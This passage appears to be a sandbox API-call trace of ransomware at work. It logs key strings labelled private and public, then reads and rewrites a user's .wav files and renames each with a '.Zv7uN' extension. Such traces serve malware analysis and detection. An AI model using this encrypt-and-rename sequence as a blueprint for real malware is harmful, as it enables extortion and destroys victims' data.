MK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.176] GetCurrentThreadId () returned 0xa30 [0086.176] GetCurrentThreadId () returned 0xa30 [0086.177] GetCurrentThreadId () returned 0xa30 [0086.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.178] GetCurrentThreadId () returned 0xa30 [0086.178] GetCurrentThreadId () returned 0xa30 [0086.178] GetCurrentThreadId () returned 0xa30 [0086.178] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\IR9lejbyUUswtBcUmqP.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\ir9lejbyuuswtbcumqp.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.178] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0086.178] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.178] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x415 [0086.178] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.178] ReadFile (in: hFile=0x11c, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x415, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0x415, lpOverlapped=0x0) returned 1 [0086.230] CloseHandle (hObject=0x11c) returned 1 [0086.230] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\IR9lejbyUUswtBcUmqP.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\ir9lejbyuuswtbcumqp.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.232] WriteFile (in: hFile=0x11c, lpBuffer=0x1f1ae00*, nNumberOfBytesToWrite=0x415, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f1ae00*, lpNumberOfBytesWritten=0x18f3e0*=0x415, lpOverlapped=0x0) returned 1 [0086.234] CloseHandle (hObject=0x11c) returned 1 [0086.237] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\IR9lejbyUUswtBcUmqP.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\ir9lejbyuuswtbcumqp.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\IR9lejbyUUswtBcUmqP.wav.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\ir9lejbyuuswtbcumqp.wav.zv7un")) returned 1 [0086.237] GetCurrentThreadId () returned 0xa30 [0086.237] GetCurrentThreadId () returned 0xa30 [0086.238] GetCurrentThreadId () returned 0xa30 [0086.238] GetCurrentThreadId () returned 0xa30 [0086.238] GetCurrentThreadId () returned 0xa30 [0086.238] GetCurrentThreadId () returned 0xa30 [0086.238] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2684470, ftCreationTime.dwHighDateTime=0x1d5e2c2, ftLastAccessTime.dwLowDateTime=0x4a092ac0, ftLastAccessTime.dwHighDateTime=0x1d5e4a1, ftLastWriteTime.dwLowDateTime=0x4a092ac0, ftLastWriteTime.dwHighDateTime=0x1d5e4a1, nFileSizeHigh=0x0, nFileSizeLow=0x65b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="M-B0QD.wav", cAlternateFileName="")) returned 1 [0086.238] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.238] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.238] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\M-B0QD.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-b0qd.wav"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2684470, ftCreationTime.dwHighDateTime=0x1d5e2c2, ftLastAccessTime.dwLowDateTime=0x4a092ac0, ftLastAccessTime.dwHighDateTime=0x1d5e4a1, ftLastWriteTime.dwLowDateTime=0x4a092ac0, ftLastWriteTime.dwHighDateTime=0x1d5e4a1, nFileSizeHigh=0x0, nFileSizeLow=0x65b)) returned 1 [0086.238] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\M-B0QD.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-b0qd.wav")) returned 0x20 [0086.238] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\M-B0QD.wav", dwFileAttributes=0x80) returned 1 [0086.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsO